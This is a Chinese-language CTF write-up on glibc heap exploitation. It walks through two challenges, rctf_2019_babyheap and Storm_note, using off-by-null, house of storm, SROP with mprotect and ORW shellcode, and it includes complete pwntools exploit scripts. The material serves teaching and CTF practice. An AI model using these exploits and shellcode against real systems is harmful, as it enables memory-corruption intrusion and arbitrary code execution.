Ky不是枕木

分享学习经验

利用条件

1.fastbin 的堆块被释放后 next_chunk 的 pre_inuse 位不会被清空
2.fastbin 在执行 free 的时候仅验证了 main_arena 直接指向的块,即链表指针头部的块。对于链表后面的块,并没有进行验证。

该漏洞是指将同一个chunk free两次,通常情况下free两个chunk会报错是无法编译的,监测机制也很简单,就仅仅是对free变量与前一个进行对比,所以可以中间夹一个其他的实现:

1
2
3
free(shangu1)
free(shangu2)
free(shangu1)

此时的 bins 中情况大概如下:0x20 —> shangu1 —> shangu2 —> shangu1
当再次申请堆时会出现 有两个指针指向同一个chunk

![联想截图_20230322221849.png](https://s2.loli.net/2023/09/12/BI6lRtbdPnKTuMN.png

同样是house of storm,但是如果程序开启了沙箱,禁用了system函数,那我们常规把hook函数改为system函数的方法就失效了,
若是沙箱没有禁用open,read,write函数,这里我们可以考虑用orw。

例题

rctf_2019_babyheap

在这里插入图片描述

在这里插入图片描述
保护全开,禁用了execve就是禁用了system,因为system函数通过调用execve函数才能执行。
看一下ida

main函数

可以看到是实现了四个功能,增改删查

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
int __cdecl main(int argc, const char **argv, const char **envp)
{
init(argc, argv, envp);
while ( 1 )
{
menu();
switch ( get_int() )
{
case 1:
add();
break;
case 2:
edit();
break;
case 3:
delete();
break;
case 4:
show();
break;
case 5:
puts("See you next time!");
exit(0);
default:
puts("Invalid choice!");
break;
}
}
}

add函数

可以申请最大0x1000大小的chunk,最多申请16个chunk

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
unsigned __int64 add()
{
void **v0; // rbx
int i; // [rsp+0h] [rbp-20h]
int size; // [rsp+4h] [rbp-1Ch]
unsigned __int64 v4; // [rsp+8h] [rbp-18h]

v4 = __readfsqword(0x28u);
for ( i = 0; *(ptrs + 2 * i) && i <= 15; ++i )
;
if ( i == 16 )
{
puts("You can't");
exit(-1);
}
printf("Size: ");
size = get_int();
if ( size <= 0 || size > 0x1000 )
{
puts("Invalid size :(");
}
else
{
*(ptrs + 4 * i + 2) = size;
v0 = (ptrs + 16 * i);
*v0 = calloc(size, 1uLL);
puts("Add success :)");
}
return __readfsqword(0x28u) ^ v4;
}

edit函数

存在off-by-null漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
unsigned __int64 edit()
{
unsigned int v1; // [rsp+0h] [rbp-10h]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
printf("Index: ");
v1 = get_int();
if ( v1 <= 0xF && *(ptrs + 2 * v1) )
{
printf("Content: ");
*(*(ptrs + 2 * v1) + read_n(*(ptrs + 2 * v1), *(ptrs + 4 * v1 + 2))) = 0; //off-by-one
puts("Edit success :)");
}
else
{
puts("Invalid index :(");
}
return __readfsqword(0x28u) ^ v2;
}

delete函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
unsigned __int64 delete()
{
unsigned int v1; // [rsp+4h] [rbp-Ch]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
printf("Index: ");
v1 = get_int();
if ( v1 <= 0xF && *(ptrs + 2 * v1) )
{
free(*(ptrs + 2 * v1));
*(ptrs + 2 * v1) = 0LL;
*(ptrs + 4 * v1 + 2) = 0;
puts("Delete success :)");
}
else
{
puts("Invalid index :(");
}
return __readfsqword(0x28u) ^ v2;
}

show函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
unsigned __int64 show()
{
unsigned int v1; // [rsp+4h] [rbp-Ch]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
printf("Index: ");
v1 = get_int();
if ( v1 <= 0xF && *(ptrs + 2 * v1) )
puts(*(ptrs + 2 * v1));
else
puts("Invalid index :(");
return __readfsqword(0x28u) ^ v2;
}

思路

看了大佬的博客rctf_2019_babyheap,这里对其进行详细的解析。
在这里插入图片描述
程序禁用了fastbin,且能申请最大为0x1000大小的chuck,可以使用house of storm,修改free_hook的地址为shellcode,执行shellcode,这里我们需要用orw来写shellcode,并且在这之前需要用mprotect函数修改free_hook段为可读可写可执行权限。

调试过程

先把前面的写好

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
# coding=utf-8
from pwn import *
#sh = remote("node4.buuoj.cn", 29278)
sh = process('./rctf_2019_babyheap')
context(log_level = 'debug', arch = 'amd64', os = 'linux')
elf = ELF("./rctf_2019_babyheap")
libc = ELF('../../libc-2.23.so--64')
def dbg():
gdb.attach(sh)
pause()

#命令简写化
s = lambda data :sh.send(data)
sa = lambda delim,data :sh.sendafter(delim, data)
sl = lambda data :sh.sendline(data)
sla = lambda delim,data :sh.sendlineafter(delim, data)
r = lambda num=4096 :sh.recv(num)
ru = lambda delims :sh.recvuntil(delims)
itr = lambda :sh.interactive()
uu32 = lambda data :u32(data.ljust(4,'\0'))
uu64 = lambda data :u64(data.ljust(8,'\0'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
lg=lambda address,data:log.success('%s: '%(address)+hex(data))


def add(size):
ru("Choice: \n")
sl('1')
ru("Size: ")
sl(str(size))

def free(index):
ru("Choice: \n")
sl('3')
ru("Index: ")
sl(str(index))

def show(index):
ru("Choice: \n")
sl('4')
ru("Index: ")
sl(str(index))

def edit(index, content):
ru("Choice: \n")
sl('2')
ru("Index: ")
sl(str(index))
ru("Content: ")
s(content)

首先构造堆块重叠,泄露libc基地址

先申请四个chunk,申请的chunk真正大小分别为0x90,0x70,0x100,0x20,
chunk_3是为了free前三个chunk后防止堆块合并

1
2
3
4
5
add(0x80)#0
add(0x68)#1
add(0xf0)#2
add(0x18)#3
dbg()

在这里插入图片描述
之后free chunk_0,此时因为禁用了fastbin,所以chunk_0直接进入了unsortedbin里,再利用off-by-null漏洞修改chunk_2的pre_size为0x100(chunk_0+chunk_1正好就是0x100),修改chunk_2的size为0x100,使他处于free状态。

1
2
3
4
5
free(0)
payload = 'a'*0x60 + p64(0x100)
edit(1, payload)

dbg()

在这里插入图片描述
free chunk_2后,触发堆块前向合并,chunk_2的pre_size为是0x100,chunk_0和chunk_1加起来是0x100,就是前三个chunk合并。unsortedbin里存放着原chunk_0的起始地址。

1
2
3
free(2)

dbg()

在这里插入图片描述

在这里插入图片描述
此时chunk_1是没有被free的,然后我们再次申请0x80(原chunk_0大小)大小的chunk,此时原chunk_1的mem区域存放着main_arena+88,因为chunk_1并没有被free,所以我们直接调用show函数即可泄露libc基地址。

1
2
3
4
5
6
7
8
9
10
add(0x80)#0
show(1)
malloc_hook = u64(ru('\x7f').ljust(8, '\x00')) - 0x58 - 0x10
libc.address = malloc_hook - libc.sym['__malloc_hook']
system = libc.sym['system']
free_hook = libc.sym['__free_hook']
set_context = libc.symbols['setcontext']
lg('libc_base',libc.address)

dbg()

在这里插入图片描述
在这里插入图片描述

构造unsortbin chunk 和largebin chunk,进行 house of strom

先申请0x160大小的chunk,将unsortbin中残余chunk清空,之后构造unsortbin chunk 和largebin chunk的调试过程请参考我另一篇文章House of storm
此时我们已以可以修改free_hook处的值了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
#---------------布置chunk-------------------------#
add(0x18)#4
add(0x508)#5
add(0x18)#6
add(0x18)#7
add(0x508)#8
add(0x18)#9
add(0x18)#10

#dbg()
#----------------准备 unsorted chunk-----------------------#
edit(5, 'a'*0x4f0+p64(0x500))

#dbg()

free(5)
edit(4, 'a'*0x18)

#dbg()

add(0x18)#5
add(0x4d8)#11
free(5)
free(6)

#dbg()

add(0x30)#5
add(0x4e8)#6

#dbg()

#-------------------准备 large chunk-----------------------------------#
edit(8, 'a'*0x4f0+p64(0x500))
free(8)
edit(7, 'a'*0x18)
add(0x18)#8
add(0x4d8)#12
free(8)
free(9)
add(0x40)#8
#---------------unsorted chunk 和 large chunk 放到对应位置----------------------#

#dbg()

free(6)

#dbg()

add(0x4e8)#6

#dbg()

free(6)

#dbg()

#pause()
#--------------修改他们的满足条件进行 house of strom------------------------------#
storage = free_hook
fake_chunk = storage - 0x20
payload = '\x00'*0x10 + p64(0) + p64(0x4f1) + p64(0) + p64(fake_chunk)
edit(11, payload)

#dbg()

payload = '\x00'*0x20 + p64(0) + p64(0x4e1) + p64(0) + p64(fake_chunk+8) +p64(0) + p64(fake_chunk-0x18-5)
edit(12, payload)

#dbg()

add(0x48)#6

mprotect+shellcode

修改free_hook为set_context+53,free_hook+0x18,free_hook+0x18,shellcode1,
setcontext函数负责对各个寄存器进行赋值,甚至可以控制rip,对寄存器进行赋值主要从+53开始,shellcode1即为read(0, new_addr,0x1000),new_addr即为(free_hook &0xFFFFFFFFFFFFF000)free_hook所在内存页的起始位置。我们将对这里赋予可读可写可执行权限。

1
2
3
4
5
6
7
8
9
10
11
12
new_addr =  free_hook &0xFFFFFFFFFFFFF000
shellcode1 = '''
xor rdi,rdi
mov rsi,%d
mov edx,0x1000

mov eax,0
syscall

jmp rsi
''' % new_addr
edit(6, 'a'*0x10+p64(set_context+53)+p64(free_hook+0x18)*2+asm(shellcode1))

在这里插入图片描述

修改前
在这里插入图片描述
修改后
在这里插入图片描述

SROP

我们利用pwntools里的SigreturnFrame()执行mprotect(new_addr,0x1000,7),并将rsp跳转到
free_hook+0x10处,即0x00007f05935487c0,之后执行0x00007f05935487c0地址处的代码,即我们刚才写入的shellcode1,执行read(0, new_addr,0x1000),将我们构造的第二个shellcode写入0x00007f0593548000处 ,并将rip跳转到我们写的第二个shellcode处执行。

1
2
3
4
5
6
7
8
frame = SigreturnFrame()
frame.rsp = free_hook+0x10
frame.rdi = new_addr
frame.rsi = 0x1000
frame.rdx = 7
frame.rip = libc.sym['mprotect']
edit(12, str(frame))
free(12)

在这里插入图片描述
在这里插入图片描述

ORW

利用orw构造shellcode,发送过去并执行,获得shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
shellcode2 = '''
mov rax, 0x67616c662f ;// /flag
push rax

mov rdi, rsp ;// /flag
mov rsi, 0 ;// O_RDONLY
xor rdx, rdx ;
mov rax, 2 ;// SYS_open
syscall

mov rdi, rax ;// fd
mov rsi,rsp ;
mov rdx, 1024 ;// nbytes
mov rax,0 ;// SYS_read
syscall

mov rdi, 1 ;// fd
mov rsi, rsp ;// buf
mov rdx, rax ;// count
mov rax, 1 ;// SYS_write
syscall

mov rdi, 0 ;// error_code
mov rax, 60
syscall
'''
sl(asm(shellcode2))
itr()

在这里插入图片描述

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
# coding=utf-8
from pwn import *
#sh = remote("node4.buuoj.cn", 29278)
sh = process('./rctf_2019_babyheap')
context(log_level = 'debug', arch = 'amd64', os = 'linux')
elf = ELF("./rctf_2019_babyheap")
libc = ELF('../../libc-2.23.so--64')
def dbg():
gdb.attach(sh)
pause()

#命令简写化
s = lambda data :sh.send(data)
sa = lambda delim,data :sh.sendafter(delim, data)
sl = lambda data :sh.sendline(data)
sla = lambda delim,data :sh.sendlineafter(delim, data)
r = lambda num=4096 :sh.recv(num)
ru = lambda delims :sh.recvuntil(delims)
itr = lambda :sh.interactive()
uu32 = lambda data :u32(data.ljust(4,'\0'))
uu64 = lambda data :u64(data.ljust(8,'\0'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
lg=lambda address,data:log.success('%s: '%(address)+hex(data))


def add(size):
ru("Choice: \n")
sl('1')
ru("Size: ")
sl(str(size))

def free(index):
ru("Choice: \n")
sl('3')
ru("Index: ")
sl(str(index))

def show(index):
ru("Choice: \n")
sl('4')
ru("Index: ")
sl(str(index))

def edit(index, content):
ru("Choice: \n")
sl('2')
ru("Index: ")
sl(str(index))
ru("Content: ")
s(content)

def pwn():

add(0x80)#0
add(0x68)#1
add(0xf0)#2
add(0x18)#3

#dbg()

free(0)
payload = 'a'*0x60 + p64(0x100)
edit(1, payload)

#dbg()

free(2)

#dbg()

add(0x80)#0
show(1)
malloc_hook = u64(ru('\x7f').ljust(8, '\x00')) - 0x58 - 0x10
libc.address = malloc_hook - libc.sym['__malloc_hook']
system = libc.sym['system']
free_hook = libc.sym['__free_hook']
set_context = libc.symbols['setcontext']
lg('libc_base',libc.address)

#dbg()

add(0x160)#2

#dbg()
#---------------布置chunk-------------------------#
add(0x18)#4
add(0x508)#5
add(0x18)#6
add(0x18)#7
add(0x508)#8
add(0x18)#9
add(0x18)#10

#dbg()
#----------------准备 unsorted chunk-----------------------#
edit(5, 'a'*0x4f0+p64(0x500))

#dbg()

free(5)
edit(4, 'a'*0x18)

#dbg()

add(0x18)#5
add(0x4d8)#11
free(5)
free(6)

#dbg()

add(0x30)#5
add(0x4e8)#6

#dbg()

#-------------------准备 large chunk-----------------------------------#
edit(8, 'a'*0x4f0+p64(0x500))
free(8)
edit(7, 'a'*0x18)
add(0x18)#8
add(0x4d8)#12
free(8)
free(9)
add(0x40)#8
#---------------unsorted chunk 和 large chunk 放到对应位置----------------------#

#dbg()

free(6)

#dbg()

add(0x4e8)#6

#dbg()

free(6)

#dbg()

#pause()
#--------------修改他们的满足条件进行 house of strom------------------------------#
storage = free_hook
fake_chunk = storage - 0x20
payload = '\x00'*0x10 + p64(0) + p64(0x4f1) + p64(0) + p64(fake_chunk)
edit(11, payload)

#dbg()

payload = '\x00'*0x20 + p64(0) + p64(0x4e1) + p64(0) + p64(fake_chunk+8) +p64(0) + p64(fake_chunk-0x18-5)
edit(12, payload)

#dbg()

add(0x48)#6

#dbg()

new_addr = free_hook &0xFFFFFFFFFFFFF000
shellcode1 = '''
xor rdi,rdi
mov rsi,%d
mov edx,0x1000

mov eax,0
syscall

jmp rsi
''' % new_addr
edit(6, 'a'*0x10+p64(set_context+53)+p64(free_hook+0x18)*2+asm(shellcode1))

#dbg()

frame = SigreturnFrame()
frame.rsp = free_hook+0x10
frame.rdi = new_addr
frame.rsi = 0x1000
frame.rdx = 7
frame.rip = libc.sym['mprotect']
edit(12, str(frame))
free(12)
#dbg()

shellcode2 = '''
mov rax, 0x67616c662f ;// /flag
push rax

mov rdi, rsp ;// /flag
mov rsi, 0 ;// O_RDONLY
xor rdx, rdx ;
mov rax, 2 ;// SYS_open
syscall

mov rdi, rax ;// fd
mov rsi,rsp ;
mov rdx, 1024 ;// nbytes
mov rax,0 ;// SYS_read
syscall

mov rdi, 1 ;// fd
mov rsi, rsp ;// buf
mov rdx, rax ;// count
mov rax, 1 ;// SYS_write
syscall

mov rdi, 0 ;// error_code
mov rax, 60
syscall
'''
sl(asm(shellcode2))


dbg()
itr()


pwn()

House of storm

结合了unsorted_bin_attack和Largebin_attack的攻击技术,实现任意地址分配chunk,任意地址写。

利用条件:

1
2
3
4
5
6
1.需要攻击者在largebin和unsorted_bin中分别布置一个chunk ,
这两个chunk需要在归位之后处于同一个largebin的index中,
且unsortedbin中的chunk要比largebin中的大
2.需要unsorted_bin中的bk指针可控
3.需要largebin中的bk指针和bk_nextsize指针可控
4.glibc版本小于2.30,因为2.30之后加入了检查

largebin中size与index的对应关系

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
size    index
[0x400 , 0x440) 64
[0x440 , 0x480) 65
[0x480 , 0x4C0) 66
[0x4C0 , 0x500) 67
[0x500 , 0x540) 68
等差 0x40 …
[0xC00 , 0xC40) 96
[0xC40 , 0xE00) 97
[0xE00 , 0x1000) 98
[0x1000 , 0x1200) 99
[0x1200 , 0x1400) 100
[0x1400 , 0x1600) 101
等差 0x200 …
[0x2800 , 0x2A00) 111
[0x2A00 , 0x3000) 112
[0x3000 , 0x4000) 113
[0x4000 , 0x5000) 114
等差 0x1000 …
[0x9000 , 0xA000) 119
[0xA000 , 0x10000) 120
[0x10000 , 0x18000) 121
[0x18000 , 0x20000) 122
[0x20000 , 0x28000) 123
[0x28000 , 0x40000) 124
[0x40000 , 0x80000) 125
[0x80000 , …. ) 126

利用方法

1
2
3
4
5
1.将unsorted_bin中的bk指针改为fake_chunk
2.largebin中的bk指针改为fake_chunk+8,bk_nextsize指针改为fake_chunk-0x18-5 ,
target为要修改的目标地址,fake_chunk为target-0x20
来满足victim->bk_nextsize->fd_nextsize = victim(即fake_chunk-0x18-5=victim)
3.再次malloc获得target地址处的chunk,可修改target地址处的值

House_of_storm的精髓所在——伪造size,如果在程序开启PIE的情况下,堆地址的开头通常是0x55或者0x56开头,且我们的堆地址永远都是6个字节,且如果是小端存储的话,减去五个字节,剩下的就是0x55了。如果提前5个字节开始写堆地址,那么伪造在size字段上面的就正好是0x55。如果后续再申请堆块时,通过对齐使0x55对齐之后和攻击者申请的size正好相同的话,就可以在任意地址上申请出来一个chunk,也就可以达成后续的任意地址写操作。
之所以是0x56是因为__int_malloc在拿到chunk后返回到__libc_malloc,__libc_malloc会对chunk的进行检查,这里如果有错的话会直接crash,必须满足以下条件之一即可:

1
2
3
1. victim 为 0
2. IS_MMAPPED 为 1
3. NON_MAIN_ARENA 为 0

0x56(二进制数为0101 0110)满足条件
0x55(二进制数为0101 0101)不满足条件
但是由于程序有随机化,多运行几次总能有一次成功的。

1
2
3
4
5
6
7
unsorted_bin->fd = 0
unsorted_bin->bk = fake_chunk

large_bin->fd = 0
large_bin->bk = fake_chunk+8
large_bin->fd_nextsize = 0
large_bin->bk_nextsize = fake_chunk - 0x18 -5

例题

2019 西湖论剑 Storm_note在这里插入图片描述

保护全开,实现四个功能,增改删退,ida查看伪代码
init_proc()函数,mallopt()函数,设置fastbin 范围最大为0,禁用了fastbin,
之后用mmap在 0xABCD0100处分配0x30大小的空间,填充上了随机数

init_proc()函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
 ssize_t init_proc()
{
ssize_t result; // rax
int fd; // [rsp+Ch] [rbp-4h]

setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
setbuf(stderr, 0LL);
if ( !mallopt(1, 0) ) // mallopt(M_MXFAST,0)将global_max_fast设置为0,
// 这个值的意思是最大为多大的chunk归fastbin管理,
// 设置为0表示这个程序中不再存在fastbin。
// 即本程序禁用了fastbin。
exit(-1);
if ( mmap(0xABCD0000LL, 0x1000uLL, 3, 34, -1, 0LL) != 0xABCD0000LL )
exit(-1);
fd = open("/dev/urandom", 0);
if ( fd < 0 )
exit(-1);
result = read(fd, 0xABCD0100LL, 0x30uLL);
if ( result != 48 )
exit(-1);
return result;
}

add函数

calloc函数来分配堆空间,因此返回前会对分配的堆的内容进行清零。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
unsigned __int64 alloc_note()
{
int size; // [rsp+0h] [rbp-10h] BYREF
int i; // [rsp+4h] [rbp-Ch]
unsigned __int64 v3; // [rsp+8h] [rbp-8h]

v3 = __readfsqword(0x28u);
for ( i = 0; i <= 15 && note[i]; ++i )
;
if ( i == 16 )
{
puts("full!");
}
else
{
puts("size ?");
_isoc99_scanf("%d", &size);
if ( size > 0 && size <= 0xFFFFF )
{
note[i] = calloc(size, 1uLL); // calloc函数来分配堆空间,因此返回前会对分配的堆的内容进行清零。
//
note_size[i] = size;
puts("Done");
}
else
{
puts("Invalid size");
}
}
return __readfsqword(0x28u) ^ v3;
}

edit函数

存在off-by-null

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
unsigned __int64 edit_note()
{
unsigned int size; // [rsp+0h] [rbp-10h] BYREF
int v2; // [rsp+4h] [rbp-Ch]
unsigned __int64 v3; // [rsp+8h] [rbp-8h]

v3 = __readfsqword(0x28u);
puts("Index ?");
_isoc99_scanf("%d", &size);
if ( size <= 0xF && note[size] )
{
puts("Content: ");
v2 = read(0, note[size], note_size[size]);
*(note[size] + v2) = 0; // off-by-null
//
puts("Done");
}
else
{
puts("Invalid index");
}
return __readfsqword(0x28u) ^ v3;
}

free函数

无uaf

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
unsigned __int64 delete_note()
{
unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
puts("Index ?");
_isoc99_scanf("%d", &v1);
if ( v1 <= 0xF && note[v1] )
{
free(note[v1]);
note[v1] = 0LL;
note_size[v1] = 0;
}
else
{
puts("Invalid index");
}
return __readfsqword(0x28u) ^ v2;
}

一个后门函数

要想执行system(“/bin/sh”);,需要输入与程序一开始分配的随机数相同的数

1
2
3
4
5
6
7
8
9
10
11
12
void __noreturn backdoor()
{
char buf[56]; // [rsp+0h] [rbp-40h] BYREF
unsigned __int64 v1; // [rsp+38h] [rbp-8h]

v1 = __readfsqword(0x28u);
puts("If you can open the lock, I will let you in");
read(0, buf, 0x30uLL);
if ( !memcmp(buf, 0xABCD0100LL, 0x30uLL) )
system("/bin/sh");
exit(0);
}

思路

1、利用off-by-null 漏洞构造堆风水,实现堆块重叠,从而控制堆块内容。
2、House of storm,将处于unsortedbin的可控制的chunk放入largebin中,以便触发largebin attack
3、控制largebin的bk和bk_nextsize指针,通过malloc触发漏洞,分配到目标地址,实现任意地址写,将0xABCD0100处的0x30字节改为已知值,获得shell

过程

先把前面的东西写好

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
# coding=utf-8
from pwn import *
#context(endian='little',os='linux',arch='amd64',log_level='debug')
sh = process('./Storm_note')

s = lambda data :sh.send(data)
sa = lambda delim,data :sh.sendafter(delim, data)
sl = lambda data :sh.sendline(data)
sla = lambda delim,data :sh.sendlineafter(delim, data)
r = lambda num=4096 :sh.recv(num)
ru = lambda delims :sh.recvuntil(delims)
itr = lambda :sh.interactive()
uu32 = lambda data :u32(data.ljust(4,'\0'))
uu64 = lambda data :u64(data.ljust(8,'\0'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
lg = lambda address,data :log.success('%s: '%(address)+hex(data))
def dbg():
gdb.attach(sh)
pause()


def add(size):
sla('Choice','1')
sla('?',str(size))

def edit(index,text):
sla('Choice','2')
sla('?',str(index))
sa('Content',text)

def free(index):
sla('Choice','3')
sla('?',str(index))

首先申请两组chunk,用来构造堆块重叠,并进入unsortedbin和largebin

1
2
3
4
5
6
7
8
9
10
add(0x18)#0
add(0x508)#1
add(0x18)#2

add(0x18)#3
add(0x508)#4
add(0x18)#5

add(0x18)#6
dbg()

在这里插入图片描述

然后构造两个伪造的prev_size,用于绕过malloc检查,保护下一个chunk的prev_size不被修改。

1
2
3
4
edit(1,'a'*0x4f0+p64(0x500)) 
edit(4,'a'*0x4f0+p64(0x500))

dbg()

img
然后再free(1),利用off-by-null编辑chunk_0,将chunk_1的size从0x510改为0x500,由于刚才构造的两个fake chunk,此时堆块已合并

1
2
3
4
free(1)
edit(0,'a'*0x18)#off-by-null改写chunk1的size为0x500

dbg()

在这里插入图片描述
再申请两个chunk,使之恢复正常,之后free掉chunk_1和chunk_2,使之合并

1
2
3
4
5
6
7
add(0x18)#1
add(0x4d8)#7

free(1)
free(2)

dbg()

在这里插入图片描述
再次申请两个特定大小的chunk即可实现chunk7可以控制原unsortedbin chunk 0x4f1的bk指针,即我们可以用chunk_7来控制chunk_2(unsortedbin chunk),为便于理解我们可查看一下note这个存放全局chunk mem指针的数组

1
2
3
add(0x30)#1 此时chunk1可以控制原unsortedbin chunk  0x4f1(chunk_2)的bk指针
add(0x4e0)#2
dbg()

在这里插入图片描述
下面同理获得chunk8可以控制原 (largebin chunk 0x4e1 )的bk指针和bk_nextsize指针

1
2
3
4
5
6
7
free(4)
edit(3,'a'*0x18)#off by null
add(0x18)#4
add(0x4d8)#8 0x5a0
free(4)
free(5)
add(0x40)#4 0x580

之后free(2),放入unsortedbin

1
2
3
free(2)    

dbg()

img
再申请回来0x4e8(0x4f0)大小的chunk,使0x4e0大小的chunk进入largebin

1
2
3
add(0x4e8)      # put chunk8(0x5c0) to largebin

dbg()

在这里插入图片描述
再次free(2),构造一个unsortedbin chunk和一个largebin chunk

1
2
3
free(2) #put chunk2 to unsortedbin

dbg()

在这里插入图片描述
之后利用刚才构造的堆块重叠,修改unsortedbin chunk的bk指针为目标地址(target-0x20)

1
2
3
4
5
6
7
8
target = 0xabcd0100
fake_chunk = target - 0x20

payload = p64(0)*2 + p64(0) + p64(0x4f1) # size
payload += p64(0) + p64(fake_chunk) # bk
edit(7,payload)

dbg()

在这里插入图片描述
在这里插入图片描述
之后利用刚才构造的堆块重叠,修改largebin chunk的bk指针和bk_nextsize指针分别为fake_chunk+8,和fake_chunk-0x18-5

1
2
3
4
5
6
7
payload2 = p64(0)*4 + p64(0) + p64(0x4e1) #size
payload2 += p64(0) + p64(fake_chunk+8)
payload2 += p64(0) + p64(fake_chunk-0x18-5)#mmap

edit(8,payload2)

dbg()

在这里插入图片描述
img
然后申请0x40(0x50)大小的chunk,可以看到在目标地址处0xabcd00e0成功伪造fake chunk,size为0x56,巧妙的实现victim->bk_nextsize->fd_nextsize = victim

1
2
3
add(0x40)

dbg()

在这里插入图片描述
之后就是把0xABCD0100处的0x30个字节改为已知数,然后获得shell

1
2
3
4
payload = '\x00'*(0x10+0x30)
edit(2,payload)

dbg()

img

1
2
3
sla('Choice: ','666')
s(p64(0)*6)
itr()

在这里插入图片描述

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
# coding=utf-8
from pwn import *
#context(endian='little',os='linux',arch='amd64',log_level='debug')
sh = process('./Storm_note')

s = lambda data :sh.send(data)
sa = lambda delim,data :sh.sendafter(delim, data)
sl = lambda data :sh.sendline(data)
sla = lambda delim,data :sh.sendlineafter(delim, data)
r = lambda num=4096 :sh.recv(num)
ru = lambda delims :sh.recvuntil(delims)
itr = lambda :sh.interactive()
uu32 = lambda data :u32(data.ljust(4,'\0'))
uu64 = lambda data :u64(data.ljust(8,'\0'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
lg = lambda address,data :log.success('%s: '%(address)+hex(data))
def dbg():
gdb.attach(sh)
pause()


def add(size):
sla('Choice','1')
sla('?',str(size))

def edit(index,text):
sla('Choice','2')
sla('?',str(index))
sa('Content',text)

def free(index):
sla('Choice','3')
sla('?',str(index))
#---------------布置chunk-------------------------#
add(0x18)#0
add(0x508)#1
add(0x18)#2

add(0x18)#3
add(0x508)#4
add(0x18)#5

add(0x18)#6


#dbg()
#构造两个伪造的prev_size,用于绕过malloc检查,保护下一个chunk的prev_size不被修改。
edit(1,'a'*0x4f0+p64(0x500))
edit(4,'a'*0x4f0+p64(0x500))

#dbg()
#----------------准备 unsorted chunk-----------------------#
free(1)
edit(0,'a'*0x18)#off-by-null改写chunk1的size为0x500

#dbg()

add(0x18)#1
add(0x4d8)#7

free(1)
free(2)

#dbg()

#recover
add(0x30)#1 此时chunk7可以控制原 (unsortedbin chunk 0x4f1)的bk指针
add(0x4e0)#2
#-------------------准备 large chunk-----------------------------------#
#dbg()
#下面同理获得chunk8可以控制原 (largebin chunk 0x4e1 )的bk指针和bk_nextsize指针
free(4)
edit(3,'a'*0x18)#off by null
add(0x18)#4
add(0x4d8)#8 0x5a0
free(4)
free(5)
add(0x40)#4 0x580

#---------------unsorted chunk 和 large chunk 放到对应位置----------------------#
free(2) #unsortedbin-> chunk2 -> chunk5(chunk8)(0x5c0) which size is largebin FIFO

#dbg()
#
add(0x4e8) # put chunk8(0x5c0) to largebin

#dbg()

free(2) #put chunk2 to unsortedbin

#dbg()
#--------------修改他们是的满足条件进行 house of strom------------------------------#
target = 0xabcd0100
fake_chunk = target - 0x20

payload = p64(0)*2 + p64(0) + p64(0x4f1) # size
payload += p64(0) + p64(fake_chunk) # bk
edit(7,payload)

#dbg()

payload2 = p64(0)*4 + p64(0) + p64(0x4e1) #size
payload2 += p64(0) + p64(fake_chunk+8)
payload2 += p64(0) + p64(fake_chunk-0x18-5)#mmap

edit(8,payload2)

#dbg()

add(0x40)

#dbg()

payload = '\x00'*(0x10+0x30)
edit(2,payload)

#dbg()

